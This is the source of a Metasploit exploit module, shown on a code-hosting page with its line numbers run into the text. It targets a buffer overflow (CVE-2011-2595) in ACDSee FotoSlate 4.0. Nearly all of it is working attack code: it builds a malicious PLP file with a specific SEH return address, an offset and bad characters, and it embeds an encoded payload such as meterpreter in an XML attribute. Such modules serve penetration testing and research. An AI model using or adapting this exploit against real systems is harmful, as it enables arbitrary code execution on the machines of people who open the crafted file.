Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/fileformat/acdsee_fotoslate_string.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::FILEFORMAT9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(update_info(info,13'Name' => 'ACDSee FotoSlate PLP File id Parameter Overflow',14'Description' => %q{15This module exploits a buffer overflow in ACDSee FotoSlate 4.0 Build 146 via16a specially crafted id parameter in a String element. When viewing a malicious17PLP file with the ACDSee FotoSlate product, a remote attacker could overflow a18buffer and execute arbitrary code. This exploit has been tested on systems such as19Windows XP SP3, Windows Vista, and Windows 7.20},21'License' => MSF_LICENSE,22'Author' =>23[24'Parvez Anwar', # Vulnerability discovery25'juan vazquez' # Metasploit module26],27'References' =>28[29[ 'CVE', '2011-2595' ],30[ 'OSVDB', '75425' ],31[ 'BID', '49558' ],32],33'DefaultOptions' =>34{35'EXITFUNC' => 'process',36'DisablePayloadHandler' => true37},38'Payload' =>39{40#'Space' => 4000,41'BadChars' => "\x00\x22"42},43'Platform' => 'win',44'Targets' =>45[46[47'ACDSee FotoSlate 4.0 Build 146',48{49'Ret' => 0x263a5b57, # pop, pop, ret from ipwssl6.dll50'Offset' => 1812,51'TotalLength' => 500052}53],54],55'Privileged' => false,56'DisclosureDate' => '2011-09-12',57'DefaultTarget' => 0))5859register_options(60[61OptString.new('FILENAME', [ true, 'The file name.', 'msf.plp']),62])63end6465def exploit6667overflow = rand_text(target["Offset"])68overflow << generate_seh_record(target.ret)69overflow << payload.encoded70overflow << rand_text_alpha(target["TotalLength"] - overflow.length)7172plp =<<TEMPLATE73<?xml version="1.0" encoding="ISO-8859-1"?>74<ACDFotoSlateDocument15>75<PageDefinition>76<Template>77<Version>3.0</Version>78<Page>79<Name>Letter</Name>80<Properties>81<String id="#{overflow}"></String>82<String id="Width">8.500000IN</String>83<String id="Height">11.000000IN</String>84<String id="Orientation">Portrait</String>85<Bool id="AutoRotate">FALSE</Bool>86<Bool id="AutoFill">FALSE</Bool>87</Properties>88<Content>89<Bool id="UseBGColor">FALSE</Bool>90<Int id="BGImageType">0</Int>91<String id="BGImageFile"></String>92<Int id="BGColor">16777215</Int>93</Content>94</Page>95<ToolList>96<Group>97<Tool>98<Name>Image</Name>99<Properties>100<String id="XPos">0.500000IN</String>101<String id="YPos">0.500000IN</String>102<String id="Width">7.500000IN</String>103<String id="Height">10.000000IN</String>104<Float id="Tilt">0.000000</Float>105</Properties>106<Content>107<Int id="ShapeType">0</Int>108<Float id="RoundRectX">0.000000</Float>109<Float id="RoundRectY">0.000000</Float>110<Bool id="ShrinkToFit">FALSE</Bool>111<Bool id="AutoRotate">FALSE</Bool>112<Float id="BorderWidth">0.000000</Float>113<Bool id="UseBGColor">FALSE</Bool>114<Int id="BGColor">8454143</Int>115<Bool id="DropShadow">FALSE</Bool>116<Int id="DSColor">0</Int>117<Bool id="BevelEdge">FALSE</Bool>118<Bool id="Border">FALSE</Bool>119<Int id="BorderColor">16711680</Int>120<Bool id="IsLocked">FALSE</Bool>121</Content>122</Tool>123</Group>124</ToolList>125</Template>126<PageContent>127<Version>3.0</Version>128<Page>129<Name>Letter</Name>130<Content>131<Bool id="UseBGColor">FALSE</Bool>132<Int id="BGImageType">0</Int>133<String id="BGImageFile"></String>134<Int id="BGColor">16777215</Int>135</Content>136</Page>137<ToolList>138<Group>139<Tool>140<Name>Image</Name>141<Content>142<Int id="ShapeType">0</Int>143<Float id="RoundRectX">0.000000</Float>144<Float id="RoundRectY">0.000000</Float>145<Bool id="ShrinkToFit">FALSE</Bool>146<Bool id="AutoRotate">FALSE</Bool>147<Float id="BorderWidth">0.000000</Float>148<Bool id="UseBGColor">FALSE</Bool>149<Int id="BGColor">8454143</Int>150<Bool id="DropShadow">FALSE</Bool>151<Int id="DSColor">0</Int>152<Bool id="BevelEdge">FALSE</Bool>153<Bool id="Border">FALSE</Bool>154<Int id="BorderColor">16711680</Int>155<Bool id="IsLocked">FALSE</Bool>156</Content>157</Tool>158</Group>159</ToolList>160</PageContent>161</PageDefinition>162</ACDFotoSlateDocument15>163TEMPLATE164165print_status("Creating '#{datastore['FILENAME']}' file ...")166file_create(plp)167end168end169170171=begin172After SEH, we have ~0x23C3 bytes (9155 in decimal) of space for payload. But we need to avoid173using a long buffer in order to avoid the meterpreter possibly being broken.174=end175176177